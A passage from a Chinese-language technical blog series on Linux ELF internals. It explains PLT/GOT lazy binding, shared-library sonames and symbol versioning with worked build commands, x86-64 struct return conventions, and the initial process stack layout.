000000200fe0  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000200fe8  000500000006 R_X86_64_GLOB_DAT 0000000000000000 _Jv_RegisterClasses + 0
000000200ff0  000600000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0
000000200ff8  000700000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可知偏移200fd8的重定位入口最终会被重定位，被修改为global_var的实际地址&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;模块间函数调用&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;模块间函数调用的原理与模块间数据访问类似，将指令中变化的部分(外部函数地址)分离出来，用一个.got.plt表来存放函数引用的地址。同时，为了实现延迟绑定，调用函数并不直接通过.got.plt跳转，而是通过一个叫作PLT项的结构来进行跳转，每个外部函数在PLT中都有一个相应的项，比如bar函数对应bar@plt&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;0000000000000580 &amp;lt;.plt&amp;gt;:
 580:    ff 35 82 0a 20 00     pushq 0x200a82(%rip) # 201008 &amp;lt;_GLOBAL_OFFSET_TABLE_+0x8&amp;gt;
 586:    ff 25 84 0a 20 00     jmpq *0x200a84(%rip) # 201010 &amp;lt;_GLOBAL_OFFSET_TABLE_+0x10&amp;gt;
 58c:    0f 1f 40 00     nopl 0x0(%rax)

0000000000000590 &amp;lt;bar@plt&amp;gt;:
 590:    ff 25 82 0a 20 00     jmpq *0x200a82(%rip) # 201018 &amp;lt;bar&amp;gt;
 596:    68 00 00 00 00     pushq $0x0
 59b:    e9 e0 ff ff ff     jmpq 580 &amp;lt;.plt&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;bar@plt第一条指令进行跳转，跳转地址保存在0x201018&lt;&#x2F;p&gt;
&lt;p&gt;查看.got.plt段内容&lt;code&gt;readelf -x .got.plt libmydlib.so &lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -x .got.plt libmydlib.so

Hex dump of section &amp;#x27;.got.plt&amp;#x27;:
  0x00201000 100e2000 00000000 00000000 00000000 .. .............
  0x00201010 00000000 00000000 96050000 00000000 ................

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;0x201018是.got.plt的第四项，该项的值为0x0596(小端)，刚好是下一条指令的地址，所以bar@plt第一条指令就是跳转到下一条指令&lt;&#x2F;p&gt;
&lt;p&gt;pushq $0x0将0压栈，0是bar这个符号在重定位表.rel.plt中的下标&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -r libmydlib.so
...
Relocation section &amp;#x27;.rela.plt&amp;#x27; at offset 0x550 contains 1 entries:
  Offset Info Type Sym. Value Sym. Name + Addend
000000201018 000200000007 R_X86_64_JUMP_SLO 0000000000000000 bar + 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来将地址0x201008的内容入栈，再进行跳转，跳转地址保存在0x201010，这两个地址分别对应.got.plt的第1项.got.plt[1]和第2项.got.plt[2]&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 580:    ff 35 82 0a 20 00     pushq 0x200a82(%rip) # 201008 &amp;lt;_GLOBAL_OFFSET_TABLE_+0x8&amp;gt;
 586:    ff 25 84 0a 20 00     jmpq *0x200a84(%rip) # 201010 &amp;lt;_GLOBAL_OFFSET_TABLE_+0x10&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从上面.got.plt段的内容可以看到这两项的值都为0。&lt;&#x2F;p&gt;
&lt;p&gt;实际上当动态链接器（ld-linux-XXX）执行时才对这两项进行填充，.got.plt[1]存放的是该共享模块的ID，.got.plt[2]存放的是_dl_runtime_resolve函数的地址。&lt;&#x2F;p&gt;
&lt;p&gt;_dl_runtime_resolve函数通过上面两条圧栈指令拿到待决议符号bar在重定位表的下标和模块ID这两个参数就可以完成符号解析和重定位工作，与此同时，_dl_runtime_resolve函数会将bar符号的真正地址填入到.got.plt表中，下次执行bar@plt的第一条指令就直接跳转到bar函数，不再进行符号解析和重定位工作。&lt;&#x2F;p&gt;
&lt;p&gt;PLT的执行过程可以使用GDB进行调试查看，参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;lzz5235.github.io&#x2F;2015&#x2F;12&#x2F;08&#x2F;pltgot.html&quot;&gt;再议 PLT 与 GOT&lt;&#x2F;a&gt;这篇文章&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;拓展阅读&lt;&#x2F;strong&gt;：
全局符号介入问题&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;参考&lt;&#x2F;strong&gt;：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.douban.com&#x2F;subject&#x2F;3652388&#x2F;&quot;&gt;《程序员的自我修养》&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.ifuryst.com&#x2F;archives&#x2F;Linux-PLT-GOT.html&quot;&gt;Linux动态链接中的PLT和GOT&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue16-gong-xiang-ku-ji-fu-hao-de-ban-ben-kong-zhi-shi-jian-dong-tai-lian-jie-ku-fu-hao-ban-ben-kong-zhi&quot;&gt;Issue16 共享库及符号的版本控制实践: 动态链接库符号版本控制&lt;&#x2F;h2&gt;
&lt;p&gt;首先了解下共享库的命名约定&lt;&#x2F;p&gt;
&lt;p&gt;共享库的命名规则：&lt;code&gt;libname.so.x.y.z&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;name: 库的名字&lt;&#x2F;li&gt;
&lt;li&gt;x: 主版本号(Major Version Number)&lt;&#x2F;li&gt;
&lt;li&gt;y: 次版本号(Minor Version Number)&lt;&#x2F;li&gt;
&lt;li&gt;z: 发布版本号(Release Vresion Number)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;主版本号表示库的重大升级，不同主版本号之间不兼容，旧的接口符号进行了改动
次版本号表示库的增量升级，即增加一些新的接口符号，且保持原来的符号不变
发布版本号表示库的一些错误的修正，性能的改进等，并不添加任何新的接口，也不对旧的接口进行修改&lt;&#x2F;p&gt;
&lt;p&gt;共享库的编译和运行过程涉及到3个名称: &lt;code&gt;real name&lt;&#x2F;code&gt;, &lt;code&gt;soname&lt;&#x2F;code&gt;和&lt;code&gt;linker name&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;real name&lt;&#x2F;code&gt;: 编译出来的库文件的真实名字。比如libfoo.so.1.0.0&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;soname&lt;&#x2F;code&gt;: 描述共享库功能的一个逻辑名称(logic name)。命名规则为libname.so.x，只保留了主版本号，常用于提供版本向后兼容性信息。比如程序a在编译时使用了共享库libx.1.0.0，而现在系统中只包含了libx.1.1.0，那么程序a会根据它所依赖的soname，即libx.1，去使用比编译时更高版本的库libx.1.2.0，因为该库是兼容1.1.0版本的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;linker name&lt;&#x2F;code&gt;: 链接器使用该名称去寻找共享库，一般不包含版本号。比如使用链接选项-lfoo，那么链接器就会去寻找名称为libfoo.so的文件，libfoo.so就是linker name&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;通常情况下，linker name软链接到soname, soname软链接到real name&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这三个名称会在下面实际例子中体现各自的作用&lt;&#x2F;p&gt;
&lt;p&gt;接下来以一个实际的例子来演示共享库的版本控制实践&lt;&#x2F;p&gt;
&lt;p&gt;say.c&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;stdio.h&amp;quot;
#include &amp;quot;say.h&amp;quot;
void say_hello()
{
    printf(&amp;quot;hello\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;say.h&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;void say_hello();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;main.c&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;say.h&amp;quot;
int main()
{
    say_hello();
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;共享库的编译&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c -fPIC say.c
$ ld -shared -soname libsay.so.1 -o libsay.so.1.0.0 -lc say.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里指定libsay.so.1.0.0的soname为libsay.so.1，soname可以通过查看.dynamic段确认&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果链接时不指定soname那么就没有查看不到SONAME&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -d libsay.so.1.0.0
Dynamic section at offset 0xec0 contains 15 entries:
  Tag Type Name&amp;#x2F;Value
 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
 0x000000000000000e (SONAME) Library soname: [libsay.so.1]
 0x0000000000000004 (HASH) 0x158
 0x0000000000000005 (STRTAB) 0x218
 0x0000000000000006 (SYMTAB) 0x188
 0x000000000000000a (STRSZ) 74 (bytes)
 0x000000000000000b (SYMENT) 24 (bytes)
 0x0000000000000003 (PLTGOT) 0x201000
 0x0000000000000002 (PLTRELSZ) 24 (bytes)
 0x0000000000000014 (PLTREL) RELA
 0x0000000000000017 (JMPREL) 0x290
 0x000000006ffffffe (VERNEED) 0x270
 0x000000006fffffff (VERNEEDNUM) 1
 0x000000006ffffff0 (VERSYM) 0x262
 0x0000000000000000 (NULL) 0x0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;共享库的安装和使用&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;libsay.so.1.0.0库使用者拿到.so和.h文件后，执行以下命令生成可执行程序main&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ldconfig -n .
$ ln -sf libsay.so.1 libsay.so
$ gcc main.c -L. -lsay -o main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ldconfig -n .&lt;&#x2F;code&gt;会生成一个软链接libsay.so.1链接到libsay.so.1.0.0，如果有多个版本，那么该软链接会指向最libsay.so.1.x.y中的最新版本&lt;&#x2F;p&gt;
&lt;p&gt;第二条指令&lt;code&gt;$ ln -sf libsay.so.1 libsay.so&lt;&#x2F;code&gt;是创建一个名为libsay.so软链接，指向libsay.so.1。&lt;strong&gt;为什么需要创建libsay.so呢，因为链接时-lsay会去搜索libsay.so，也就是linker name，否则会报找不到库的错。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看最终生成的可执行程序的依赖信息&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ldd main
    linux-vdso.so.1 (0x00007fff71525000)
    libsay.so.1 =&amp;gt; not found
    libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007ff5c8729000)
    &amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007ff5c8cca000)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到&lt;strong&gt;执行程序main记录的是共享库的soname，而不是real name或linker name&lt;&#x2F;strong&gt;(也可以通过readelf -d查看依赖的共享库)，所以装载时会去找名称为soname的库&lt;&#x2F;p&gt;
&lt;p&gt;由于动态链接器查找共享库默认是从&#x2F;lib&#x2F;，&#x2F;usr&#x2F;lib和&#x2F;ld.so.conf文件指定的路径中寻找，而我们没有把libsay.so.1拷贝到其中某个路径下，所以输出结果中libsay.so.1显示not found，这里将so库所在路径添加到环境变量LD_LIBRARY_PATH后即可显示，这里我的so文件和可执行文件在同一级目录下，所以执行如下命令&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:.
$ ldd main
    linux-vdso.so.1 (0x00007fff4c7e2000)
    libsay.so.1 (0x00007fa52b270000)
    libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007fa52aed1000)
    &amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007fa52b674000)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;共享库的版本升级&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当共享库更新版本时，共享库提供者还是按照上面步骤进行编译生成so，而使用者只需要重新执行&lt;code&gt;$ ldconfig -n .&lt;&#x2F;code&gt;就可以让soname指向最新版本&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;soname机制存在的问题&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如下面示例&lt;&#x2F;p&gt;
&lt;p&gt;假设现在代码如下&lt;&#x2F;p&gt;
&lt;p&gt;say.c&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;stdio.h&amp;quot;
#include &amp;quot;say.h&amp;quot;
void say_hello_v1()
{
    printf(&amp;quot;hello(v1)\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;say.h&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void say_hello_v1();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;进行编译链接，生成libsay.so.1.0.0&lt;&#x2F;p&gt;
&lt;p&gt;然后我增加了了一个say_hello_v2接口，现在代码如下&lt;&#x2F;p&gt;
&lt;p&gt;say.c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;stdio.h&amp;quot;
#include &amp;quot;say.h&amp;quot;
void say_hello_v1()
{
    printf(&amp;quot;hello(v1)\n&amp;quot;);
}

void say_hello_v2()
{
    printf(&amp;quot;hello(v2)\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;say.h&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void say_hello_v1();
void say_hello_v2();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;进行编译链接，生成libsay.so.1.1.0&lt;&#x2F;p&gt;
&lt;p&gt;假设此时用户B在编译可执行程序main的时候，所在的编译环境使用的是libsay.so.1.1.0，且程序使用了say_hello_v2符号，但是main程序的运行环境的机器上却使用了libsay.so.1.0.0，由于程序在进行动态链接时soname只判断主版本号，因此可以正常装载1.0.0版本的库，但是可能造成的后果就是&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;mian程序的执行流程没走到调用say_hello_v2的地方，程序没报错，正常运行&lt;&#x2F;li&gt;
&lt;li&gt;main程序的执行流程走到了调用say_hello_v2的地方，程序报找不到符号的错symbol lookup error: .&#x2F;main: undefined symbol: say_hello_v2，崩溃&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;很明显这种运行时出现未知行为我们是不允许的，解决这种问题可以通过使用**基于符号的版本控制机制(symbol versioning)**来解决。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;基于符号的版本控制&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;基于符号的版本控制实际上就是让每个导入和导出的符号都有一个相关联的版本&lt;&#x2F;p&gt;
&lt;p&gt;我们为say.c中的接口符号指定版本
say.c&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;stdio.h&amp;quot;
#include &amp;quot;say.h&amp;quot;

asm(&amp;quot;.symver say_hello_v1, say_hello@@VERS_1.0.0&amp;quot;);
void say_hello_v1()
{
    printf(&amp;quot;hello(v1)\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;say.h&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void say_hello();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编写符号版本脚本say.ver&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;VERS_1.0.0 {
    global:
        say_hello;
    local:
        *;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译链接，生成libsay.so.1.0.0&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c -fPIC say.c
$ ld -shared say.o -soname libsay.so.1 --version-script say.ver -lc -o libsay.so.1.0.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来修改say.c添加say_hello_v2接口，并修改符号版本脚本，最后生成libsay.so.1.1.0&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;stdio.h&amp;quot;
#include &amp;quot;say.h&amp;quot;
asm(&amp;quot;.symver say_hello_v1, say_hello@VERS_1.0.0&amp;quot;);
void say_hello_v1()
{
    printf(&amp;quot;hello(v1)\n&amp;quot;);
}
asm(&amp;quot;.symver say_hello_v2, say_hello@@VERS_1.1.0&amp;quot;);
void say_hello_v2()
{
    printf(&amp;quot;hello(v2)\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;say.ver&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;VERS_1.0.0 {
    global:
        say_hello;
    local:
        *;
};

VERS_1.1.0 {
}VERS_1.0.0;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译链接&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c -fPIC say.c
$ ld -shared say.o -soname libsay.so.1 --version-script say.ver -lc -o libsay.so.1.1.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来编写main.c
main.c&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;stdio.h&amp;quot;
#include &amp;quot;say.h&amp;quot;
int main()
{
    printf(&amp;quot;running...\n&amp;quot;);
    say_hello();
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把main.c和libsay.so.1.1.0在放在同级目录，生成依赖libsay.so.1.1.0的可执行程序main&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ldconfig -n .
$ ln -sf libsay.so.1 libsay.so
$ gcc main.c -L. -lsay -o main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把libsay.so.1.1.0和main拷贝到同一目录下，运行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ldconfig -n .
$ ln -sf libsay.so.1 libsay.so
$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:.
$ .&amp;#x2F;main
running...
hello(v2)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;正常。&lt;&#x2F;p&gt;
&lt;p&gt;接下来把libsay.so.1.0.0和main拷贝到同一目录下，运行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ldconfig -n .
$ ln -sf libsay.so.1 libsay.so
$ .&amp;#x2F;main
.&amp;#x2F;main: libsay.so.1: version `VERS_1.1.0&amp;#x27; not found (required by .&amp;#x2F;main)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到main程序直接被阻止运行，而不是等到运行时才崩溃，避免了上面提到的运行时出现symbol lookup error的错误。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;参考&lt;&#x2F;strong&gt;：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ibm.com&#x2F;developerworks&#x2F;library&#x2F;l-shobj&#x2F;&quot;&gt;Shared objects for the object disoriented!&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.douban.com&#x2F;subject&#x2F;3652388&#x2F;&quot;&gt;《程序员的自我修养》&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Soname&quot;&gt;soname&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue17-han-shu-fan-hui-zhi-chuan-di&quot;&gt;Issue17 函数返回值传递&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crt-issue24-collection&#x2F;x86-64-registers-callee-save.jpg&quot; alt=&quot;x86-64 通用寄存器用途与 Caller&#x2F;Callee Save&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们知道一般情况下函数的返回值是通过eax或rax寄存器来返回的，但是当我们返回值超过eax和rax所能存储的大小情况呢？&lt;&#x2F;p&gt;
&lt;p&gt;以下面代码为例，函数返回大小为32字节的结构体对象&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;本机环境：Linux cike-pc 4.14.0-deepin2-amd64 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;1&quot;&gt;#1&lt;&#x2F;a&gt; SMP PREEMPT Deepin 4.14.12-2 (2018-01-06) x86_64 GNU&#x2F;Linux&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;struct Test
{
    char buf[32];
};
struct Test foo()
{
    struct Test t2;
    return t2;
}
int main()
{
    struct Test t1 = foo();
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看该文件编译后的汇编代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump -d test.o

test.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 &amp;lt;foo&amp;gt;:
   0:    55                       push   %rbp
   1:    48 89 e5                 mov    %rsp,%rbp
   4:    48 89 7d d8              mov    %rdi,-0x28(%rbp)
   8:    48 8b 45 d8              mov    -0x28(%rbp),%rax
   c:    48 8b 55 e0              mov    -0x20(%rbp),%rdx
  10:    48 89 10                 mov    %rdx,(%rax)
  13:    48 8b 55 e8              mov    -0x18(%rbp),%rdx
  17:    48 89 50 08              mov    %rdx,0x8(%rax)
  1b:    48 8b 55 f0              mov    -0x10(%rbp),%rdx
  1f:    48 89 50 10              mov    %rdx,0x10(%rax)
  23:    48 8b 55 f8              mov    -0x8(%rbp),%rdx
  27:    48 89 50 18              mov    %rdx,0x18(%rax)
  2b:    48 8b 45 d8              mov    -0x28(%rbp),%rax
  2f:    5d                       pop    %rbp
  30:    c3                       retq

0000000000000031 &amp;lt;main&amp;gt;:
  31:    55                       push   %rbp
  32:    48 89 e5                 mov    %rsp,%rbp
  35:    48 83 ec 20              sub    $0x20,%rsp
  39:    48 8d 45 e0              lea    -0x20(%rbp),%rax
  3d:    48 89 c7                 mov    %rax,%rdi
  40:    b8 00 00 00 00           mov    $0x0,%eax
  45:    e8 00 00 00 00           callq  4a &amp;lt;main+0x19&amp;gt;
  4a:    b8 00 00 00 00           mov    $0x0,%eax
  4f:    c9                       leaveq
  50:    c3                       retq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;汇编代码的意义如下&lt;&#x2F;p&gt;
&lt;p&gt;首先看main函数，函数main在栈上开辟0x20大小的空间，并将栈顶的地址赋值给rdi寄存器(作为传递给foo的第一个参数)。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  35:    48 83 ec 20              sub    $0x20,%rsp
  39:    48 8d 45 e0              lea    -0x20(%rbp),%rax
  3d:    48 89 c7                 mov    %rax,%rdi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来看foo函数，函数foo在栈上开辟0x28大小的空间，并将栈顶(8个字节)的值赋值为%rdi(即main函数传递进来的地址)。然后将该栈上剩下的0x20大小的内存数据对应复制到main函数开辟的0x20大小的栈空间。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;   4:    48 89 7d d8              mov    %rdi,-0x28(%rbp)
   8:    48 8b 45 d8              mov    -0x28(%rbp),%rax
   c:    48 8b 55 e0              mov    -0x20(%rbp),%rdx
  10:    48 89 10                 mov    %rdx,(%rax)
  13:    48 8b 55 e8              mov    -0x18(%rbp),%rdx
  17:    48 89 50 08              mov    %rdx,0x8(%rax)
  1b:    48 8b 55 f0              mov    -0x10(%rbp),%rdx
  1f:    48 89 50 10              mov    %rdx,0x10(%rax)
  23:    48 8b 55 f8              mov    -0x8(%rbp),%rdx
  27:    48 89 50 18              mov    %rdx,0x18(%rax)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以这样理解上述的执行过程：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;main函数新建一个struct Test类型变量t1，并将t1的地址作为隐藏参数传递给foo函数&lt;&#x2F;li&gt;
&lt;li&gt;foo函数新建一个struct Test类型变量t2，并将t2的内容拷贝给t1&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;由于t2的内容已经拷贝到t1了，所以t1就相当于foo函数返回的t2&lt;&#x2F;p&gt;
&lt;p&gt;从上面分析来看，其实foo函数的声明&lt;code&gt;struct Test foo()&lt;&#x2F;code&gt;更像是&lt;code&gt;void foo(struct Test *ret)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue18-jin-cheng-dui-zhan-chu-shi-hua&quot;&gt;Issue18 进程堆栈初始化&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;18&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;18 - GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当加载器(ELF Loader)将ELF文件加载到内存后，会初始化进程堆栈，包括&lt;code&gt;argc&lt;&#x2F;code&gt;, &lt;code&gt;argv&lt;&#x2F;code&gt;, &lt;code&gt;环境变量&lt;&#x2F;code&gt;和&lt;code&gt;辅助向量&lt;&#x2F;code&gt;，初始化后的进程堆栈结构如下(&lt;code&gt;x86_64&lt;&#x2F;code&gt;)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;position            content                         size(bytes) + comment
-------------------------------------------------------------------------------------------------

stack pointer -&amp;gt;    [argc = number of args]         8
                    [argv[0](pointer)]              8
                    [argv[1](pointer)]              8
                    [argv[...](pointer)]            8 * x
                    [argv[n-1](pointer)]            8
                    [argv[n](pointer)]              8 (=NULL)

                    [envp[0](pointer)]              8
                    [envp[1](pointer)]              8
                    [envp[..](pointer)]             8 * x
                    [envp[term](pointer)]           8 (=NULL)

                    [auxv[0](Elf64_auxv_t)]         16
                    [auxv[1](Elf64_auxv_t)]         16
                    [auxv[..](Elf64_auxv_t)]        16 * x
                    [auxv[term](Elf64_auxv_t)]      16 (=NULL)

                    [padding]                       &amp;gt;= 0

                    [rand bytes]                    16

                    [String identifying platform]   &amp;gt;= 0

                    [padding for align]             &amp;gt;= 0 (sp - (get_random_int() % 8192)) &amp;amp; (~0xf)

                    [argument ASCIIZ strings]       &amp;gt;= 0
                    [environment ASCIIZ str]        &amp;gt;= 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
